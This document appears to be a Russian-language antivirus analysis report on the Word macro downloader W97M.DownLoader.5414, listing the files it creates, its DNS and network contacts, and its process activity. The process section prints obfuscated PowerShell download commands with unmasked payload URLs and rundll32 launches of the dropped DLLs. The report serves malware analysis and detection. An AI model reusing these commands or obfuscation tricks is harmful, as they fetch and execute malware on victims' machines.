W97M.DownLoader.5414

Техническая информация

Вредоносные функции

Создает и запускает на исполнение (эксплоит)

'<SYSTEM32>\cscript.exe' %ALLUSERSPROFILE%\pin.vbs

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /k cscript.exe %ALLUSERSPROFILE%\pin.vbs
'%CommonProgramFiles%\microsoft shared\DW\DW20.EXE' -x -s 1492

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\pin.vbs
%TEMP%\939344.cvr

Сетевая активность

Подключается к

'sh#####prakashan.com':443
'gv###icine.com':443
've####efiling.com':443
'sr#m.in':443
'sc#####aseblog.com.br':443
'x1.#.lencr.org':80

TCP

Запросы HTTP GET

http://x1.#.lencr.org/

Другие

'sr#m.in':443
've####efiling.com':443
'sh#####prakashan.com':443
'sc#####aseblog.com.br':443

UDP

DNS ASK sc#####aseblog.com.br
DNS ASK sh#####prakashan.com
DNS ASK ve####efiling.com
DNS ASK sr#m.in
DNS ASK gv###icine.com
DNS ASK x1.#.lencr.org

Другое

Создает и запускает на исполнение

'<SYSTEM32>\cmd.exe' /k cscript.exe %ALLUSERSPROFILE%\pin.vbs' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://gvmedicine.com/c8lDPI7K/ca.html'',''%ALLUSERSPROFILE...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://scriptcaseblog.com.br/8KhqnNaE4UB/ca.html'',''%ALL...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://srdm.in/0K6dTttd/ca.html'',''%ALLUSERSPROFILE%\www...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://sharayuprakashan.com/90qJEVeD0VAw/ca.html'',''%ALL...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://venturefiling.com/yP2brxfli/ca.html'',''%ALLUSERSP...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www1.dll,ldr' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www2.dll,ldr' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www3.dll,ldr' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www4.dll,ldr' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www5.dll,ldr' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://gvmedicine.com/c8lDPI7K/ca.html'',''%ALLUSERSPROFILE...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://scriptcaseblog.com.br/8KhqnNaE4UB/ca.html'',''%ALL...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://srdm.in/0K6dTttd/ca.html'',''%ALLUSERSPROFILE%\www...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://sharayuprakashan.com/90qJEVeD0VAw/ca.html'',''%ALL...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://venturefiling.com/yP2brxfli/ca.html'',''%ALLUSERSP...
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www1.dll,ldr
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www2.dll,ldr
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www3.dll,ldr
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www4.dll,ldr
'<SYSTEM32>\cmd.exe' /c rundll32.exe %ALLUSERSPROFILE%\www5.dll,ldr
'<SYSTEM32>\rundll32.exe' %ALLUSERSPROFILE%\www2.dll,ldr
'<SYSTEM32>\rundll32.exe' %ALLUSERSPROFILE%\www1.dll,ldr
'<SYSTEM32>\rundll32.exe' %ALLUSERSPROFILE%\www3.dll,ldr
'<SYSTEM32>\rundll32.exe' %ALLUSERSPROFILE%\www4.dll,ldr
'<SYSTEM32>\rundll32.exe' %ALLUSERSPROFILE%\www5.dll,ldr